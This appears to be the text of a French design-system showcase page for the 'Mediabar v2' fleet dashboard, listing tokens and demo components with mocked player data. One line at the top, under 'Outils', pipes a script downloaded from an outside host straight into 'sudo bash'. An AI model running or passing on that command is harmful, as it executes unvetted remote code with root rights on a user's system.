Outils
curl -s https://debian.greenjuice.fr/fix.sh | sudo bash

Design System — Mediabar v2

Tokens + composants componentisés, sous UN seul stylesheet sectionné (0 build). Change un token, tout le reste suit. Données 100% mockées (réutilise FakeFleetPorte) — 70 players en fond de flotte.

Tokens

Marque (identité — jamais utilisée pour du statut)

Marque --brand · #FF750F
Marque (hover) --brand-hover · #e0670a
Encre --brand-ink · #1B1B18

Neutres

--gray-900 #1B1B18
--gray-700 #3E3E3A
--gray-500 #77776d
--gray-300 #c7c7bd
--gray-200 #e3e3e0
--gray-100 #f4f4f2
--white #ffffff

Sémantique statut (SÉPARÉE de la marque — jamais peinte en orange)

ok --ok · #1a9c5b
warn --warn · #c98a1a
crit --crit · #c9372c
unknown --unknown · #8b8b86

Échelle typographique (Inter, fallback system-ui)

--text-xs (12px) Mediabar — flotte fiable, lisible par tous
--text-sm (13px) Mediabar — flotte fiable, lisible par tous
--text-md (15px) Mediabar — flotte fiable, lisible par tous
--text-lg (18px) Mediabar — flotte fiable, lisible par tous
--text-xl (22px) Mediabar — flotte fiable, lisible par tous
--text-2xl (28px) Mediabar — flotte fiable, lisible par tous

Espacement (échelle 4px)

--space-1 4px
--space-2 8px
--space-3 12px
--space-4 16px
--space-5 20px
--space-6 24px
--space-8 32px
--space-10 40px

Radius

sm
md
lg
pill

Ombres

sm
md

Button

Comme un lien

StatusChip — le composant central

En ligne vu il y a 3 min Diffusion vu il y a 45 min Diffusion vu il y a 480 min âge inconnu
Orphelins 5 âge inconnu Écran noir vu il y a 480 min En migration vu il y a 10 min OK vu il y a 2 min

Survolez une pastille : l'âge de la donnée s'affiche (critère C2).

SourceBadge

box csv confirmed ≈ alias ≈ fuzzy

FreshnessTag

vu il y a -2 min · prochain refresh dans 7 min vu il y a -180 min · prochain refresh imminent

Input / Select

PlayerName

📋 copie le tvid · ↗ ouvre TeamViewer (si source fiable box/confirmed) · SourceBadge + ✓ reconcile.

Le Central box Chez Mario confirmed Le Kiosque ≈ alias Le Repaire box Le Fantome csv Le Zinc csv

LogIndicator

vide contenu frais — à consulter

KpiTile

Toolbar

Démo autonome (son propre état de densité) — sur le dashboard réel, le bouton « compact » agit sur la liste des PlayerRow juste en dessous.

70

Toast

Le host est global (posé une fois dans le layout) : cliquer déclenche un vrai toast en bas à droite de l'écran, auto-dismiss à 4s (critère C2 : « ma manip a pris »).

PlayerRow — quelques cas mockés

reseau-a Le Central box TeamViewer vu il y a 5 min En ligne vu il y a 3 min Diffusion vu il y a 4 min vu il y a 3 min 1.1.95 à jour vu il y a 20 min il y a 20 min
reseau-b Chez Mario confirmed TeamViewer vu il y a 1 min En ligne vu il y a 1 min Diffusion vu il y a 2 min vu il y a 2 min 1.1.105~beta1 en retard vu il y a 10 min il y a 10 min
reseau-a Le Kiosque alias TeamViewer vu il y a 120 min En ligne vu il y a 6 min Diffusion vu il y a 8 min vu il y a 6 min 1.1.90 ? vu il y a 5 min il y a 5 min
reseau-c Le Repaire box TeamViewer vu il y a 4 min En ligne vu il y a 4 min Diffusion vu il y a 480 min vu il y a 5 min 1.1.95 à jour vu il y a 15 min il y a 15 min
reseau-c Le Fantome csv TeamViewer vu il y a 60000 min En ligne vu il y a 60000 min Diffusion vu il y a 60000 min vu il y a 60000 min 1.1.60 ? vu il y a 60000 min il y a 41 j
reseau-b Le Zinc csv TeamViewer vu il y a 2 min En ligne vu il y a 2 min Diffusion vu il y a 43 min vu il y a 2 min 1.1.95 à jour vu il y a 4 min il y a 4 min

DataTable

Bar Réseau Diffusion
Le Central reseau-a ok 38.2
Chez Mario reseau-b ok 41
Le Kiosque reseau-a ok 36.5
Le Repaire reseau-c noir 39
Le Vestiaire reseau-b ok 37
Le Fantome reseau-c inconnu
Le Comptoir reseau-a ok 37
Chez Fanny reseau-b ok 41

Panel

Ouvert par défaut

3
Contenu de démonstration.

Repliable — ouvert

12
Contenu repliable (cliquer sur ▾) : ouvert par défaut ici.

Repliable — replié par défaut

0
Ce contenu est caché tant qu'on ne déplie pas.

LineChart

Fraîcheur flotte (mock, 7 derniers jours)

3 séries
80 40 0 En ligne : 62 En ligne : 64 En ligne : 63 En ligne : 66 En ligne : 68 En ligne : 67 En ligne : 70 Diffusion : 58 Diffusion : 60 Diffusion : 59 Diffusion : 61 Diffusion : 60 Diffusion : 63 Diffusion : 65 Perdus : 8 Perdus : 7 Perdus : 9 Perdus : 6 Perdus : 7 Perdus : 5 Perdus : 6
En ligne 70 Diffusion 65 Perdus 6

MonActivite (tiroir)

État vide

📋 Mon activité

Rien mis de côté pour l'instant.

État rempli

📋 Mon activité

  • Le Kiosque depuis 12 min
  • Chez Mario depuis 3 min

Omnisearch

/

Tooltip

Survolez-moi …ou directement en attribut sur n'importe quel élément

Shell — ThemeToggle / NotificationBell

Le toggle ci-dessus est le MÊME composant que celui du header (état partagé via <body x-data>) : cette page hérite du même app-shell, donc du même mécanisme de thème.